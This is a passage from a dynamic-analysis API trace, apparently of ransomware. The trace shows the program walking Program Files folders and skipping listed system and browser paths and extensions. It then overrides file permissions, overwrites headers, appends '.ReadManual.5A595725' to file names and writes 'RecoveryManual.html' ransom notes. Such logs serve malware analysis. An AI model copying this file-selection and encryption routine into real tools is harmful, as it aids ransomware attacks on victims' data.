Files\\System\\") returned 41 [0250.091] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfe80 [0250.093] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\" [0250.093] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.093] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0250.093] lstrcpyW (in: lpString1=0x69b8ee, lpString2="ado" | out: lpString1="ado") returned="ado" [0250.093] lstrcatW (in: lpString1="ado", lpString2="\\" | out: lpString1="ado\\") returned="ado\\" [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\Windows\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\WINNT") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.093] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.094] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.094] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.094] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.094] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.094] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.094] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.094] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\") returned 45 [0250.094] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.095] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\" [0250.095] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.095] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0250.095] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="adojavas.inc" | out: lpString1="adojavas.inc") returned="adojavas.inc" [0250.095] lstrcmpiW (lpString1="adojavas.inc", lpString2="RecoveryManual.html") returned -1 [0250.095] StrStrIW (lpFirst="adojavas.inc", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.095] StrCmpIW (psz1="inc", psz2="exe") returned 1 [0250.095] StrCmpIW (psz1="inc", psz2="dll") returned 1 [0250.096] StrCmpIW (psz1="inc", psz2="sys") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="msi") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="mui") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="inf") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="cat") returned 1 [0250.096] StrCmpIW (psz1="inc", psz2="bat") returned 1 [0250.096] StrCmpIW (psz1="inc", psz2="cmd") returned 1 [0250.096] StrCmpIW (psz1="inc", psz2="ps1") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="vbs") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="ttf") returned -1 [0250.096] StrCmpIW (psz1="inc", psz2="fon") returned 1 [0250.096] StrCmpIW (psz1="inc", psz2="lnk") returned -1 [0250.096] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" [0250.096] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.ReadManual.5A595725" [0250.096] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.ReadManual.5A595725") returned 77 [0250.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37076471408) returned 1 [0250.096] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0250.102] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.102] GetLastError () returned 0x5 [0250.102] GetNamedSecurityInfoW () returned 0x0 [0250.103] SetNamedSecurityInfoW () returned 0x0 [0250.103] SetNamedSecurityInfoW () returned 0x0 [0250.103] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.103] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14610) returned 1 [0250.104] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3912, lpName=0x0) returned 0x184 [0250.104] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xaa) returned 1 [0250.104] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.104] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.106] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.106] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3912) returned 0x2f0000 [0250.106] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.106] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37077494964) returned 1 [0250.106] CloseHandle (hObject=0x184) returned 1 [0250.106] SetSecurityInfo () returned 0x5 [0250.106] SetSecurityInfo () returned 0x5 [0250.106] LocalFree (hMem=0x674d38) returned 0x0 [0250.106] CloseHandle (hObject=0x194) returned 1 [0250.107] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\" [0250.107] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\RecoveryManual.html" [0250.107] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\ado\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.107] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.108] CloseHandle (hObject=0x194) returned 1 [0250.108] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0250.108] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="adovbs.inc" | out: lpString1="adovbs.inc") returned="adovbs.inc" [0250.108] lstrcmpiW (lpString1="adovbs.inc", lpString2="RecoveryManual.html") returned -1 [0250.108] StrStrIW (lpFirst="adovbs.inc", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.108] StrCmpIW (psz1="inc", psz2="exe") returned 1 [0250.108] StrCmpIW (psz1="inc", psz2="dll") returned 1 [0250.108] StrCmpIW (psz1="inc", psz2="sys") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="msi") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="mui") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="inf") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="cat") returned 1 [0250.108] StrCmpIW (psz1="inc", psz2="bat") returned 1 [0250.108] StrCmpIW (psz1="inc", psz2="cmd") returned 1 [0250.108] StrCmpIW (psz1="inc", psz2="ps1") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="vbs") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="ttf") returned -1 [0250.108] StrCmpIW (psz1="inc", psz2="fon") returned 1 [0250.108] StrCmpIW (psz1="inc", psz2="lnk") returned -1 [0250.108] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" [0250.108] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.ReadManual.5A595725" [0250.108] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.ReadManual.5A595725") returned 75 [0250.108] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37077719869) returned 1 [0250.108] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0250.109] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.109] GetLastError () returned 0x5 [0250.109] GetNamedSecurityInfoW () returned 0x0 [0250.109] SetNamedSecurityInfoW () returned 0x0 [0250.109] SetNamedSecurityInfoW () returned 0x0 [0250.110] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.110] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14951) returned 1 [0250.110] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a67, lpName=0x0) returned 0x184 [0250.110] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa6) returned 1 [0250.110] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.110] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.112] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.112] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a67) returned 0x2f0000 [0250.112] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.112] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37078111202) returned 1 [0250.112] CloseHandle (hObject=0x184) returned 1 [0250.112] SetSecurityInfo () returned 0x5 [0250.112] SetSecurityInfo () returned 0x5 [0250.113] LocalFree (hMem=0x674d38) returned 0x0 [0250.113] CloseHandle (hObject=0x194) returned 1 [0250.113] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.113] lstrcpyW (in: lpString1=0x69b8f6, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0250.113] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.113] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.114] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.114] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.114] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.114] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.114] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.114] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned 51 [0250.114] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0250.114] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\" [0250.114] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.114] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0250.114] lstrcpyW (in: lpString1=0x6ab902, lpString2="msader15.dll.mui" | out: lpString1="msader15.dll.mui") returned="msader15.dll.mui" [0250.114] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.114] StrStrIW (lpFirst="msader15.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.114] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.114] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.114] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.114] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.114] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.114] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\" [0250.114] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\RecoveryManual.html" [0250.114] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\common 